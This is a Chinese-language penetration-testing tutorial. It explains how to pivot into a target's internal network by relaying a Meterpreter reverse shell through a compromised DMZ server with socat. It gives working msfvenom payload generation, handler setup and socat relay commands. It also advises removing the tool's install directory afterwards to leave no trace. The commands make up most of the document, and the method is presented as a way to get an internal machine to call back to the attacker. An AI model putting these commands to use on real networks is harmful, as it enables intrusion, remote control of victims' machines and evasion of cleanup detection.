如何利用 socat 更方便地穿透目标内网



0x01 此次环境说明:

1
2
3
lnmp01 假设为目标DMZ段机器,等会儿会作为proxy
假设其公网ip为 192.168.3.30
假设其内网ip为 192.168.32.167

1
2
win7 假设为目标内网机器
假设其内网ip为 192.168.32.144
1
2
本地机器
假设本地内网ip为 192.168.3.15

0x02 需要注意的一些前提条件

1
本地机器能ping通lnmp01,lnmp01和目标内网中的win7能互通

0x03 最终目的,实现双内网通信,即在我自己的内网中操作目标内网中的机器,当然,实现双内网通信的方式还有非常多,比如常用的几种方法:

1
2
3
4
5
6
最传统的是通过在vps利用lcx listen做转发,然后再在本地bind上去
另外,还是通过vps搭建vpn,本地先连到vpn内网中,再在vps上用lcx tran通过vpn内网转发到本地
还有,利用meterpreter自带的端口转发功能,当然啦,那个是通过meterpreter隧道自己来实现的,也就是说你要先把meterpreter的shell先弹回来,因为这个并非今天重点,暂不多做介绍,有兴趣可自行深度挖掘研究
再有,在一些高级点的马中也自带了各种内网代理功能....
最后,就是接下来咱们要详细说明的这种,利用socat和目标DMZ建立双向通道,然后带出目标内网中所有机器的流量
......

0x04 大概实现思路:

1
DMZ机器作为代理 -> 将马的流量全部转到DMZ机器的指定端口上 -> 再在本地与代理端转出的端口建立双向通道 -> 本地只需要监听转过来的马的流量 -> 成功上线

0x05 先在 lnmp01 安装好socat,实战中推荐用编译安装,走的时候直接一并把整个安装目录干掉,干净:

1
# yum install socat -y

0x06 本地准备好reverse的 payload,注意,这里的反连ip,要写目标边界DMZ的那台机器[即lnmp01]的ip:

1
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.30 LPORT=443 -f exe -o /root/shell.exe

0x07 本地开始执行监听:

1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.3.15
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit -j

0x08 在 lnmp01 上执行代理操作,意思比较简单,就是将本地的53和443端口进行绑定,相当于在本机建立一条管道,其实本机就是个中介,当有人访问本机的53端口,它就会把数据自动丢到本机的443端口上去,而443正好是我马的端口,这样,自然就造成了上线的效果:

1
# nohup socat tcp-listen:53 tcp-listen:443

0x09 此时,再回到本地和proxy端建立双向通道,最好在后台一直挂着,意思就是将本地的443端口和proxy端的53端口进行绑定,这样,当你访问本地的443其实就相当于访问proxy端的53端口,而proxy端的端口又和它本地的443端口进行了绑定,所以当马的443端口流量弹回来的时候就相当于直接弹到我本地:

1
# nohup socat tcp:192.168.3.30:53 tcp:192.168.3.15:443

0x10 最后在内网机器上执行payload,马成功上线

0x11 关于socat:

1
2
3
一款linux自带的高级端口转发工具,支持n多协议,基本上可以秒掉现在市面上已知的各类端口转发工具
当然,它绝非仅仅端口转发这么点功用,比如,建立各种隧道等等...
因为并非今天重点,这里不做过多说明,后续有空会详细说明

0x12 优点:

1
2
3
4
不再需要在vps上做转发
只需要一台边界机器即可让内网所有机器上线
稳定,socat属于系统自带工具,使用简单方便,较适合内网渗透
....

0x13 缺点:

1
2
防火墙阻断对指定端口的访问,说实话,如果你已经拿到目标机器权限,用iptables开两个端口还是比较容易的,就怕其他的一些乱七八糟的防护
如果实在端口出不来,就只能通过各种复用,或者利用更底层的协议隧道来搞,如,icmp,udp隧道...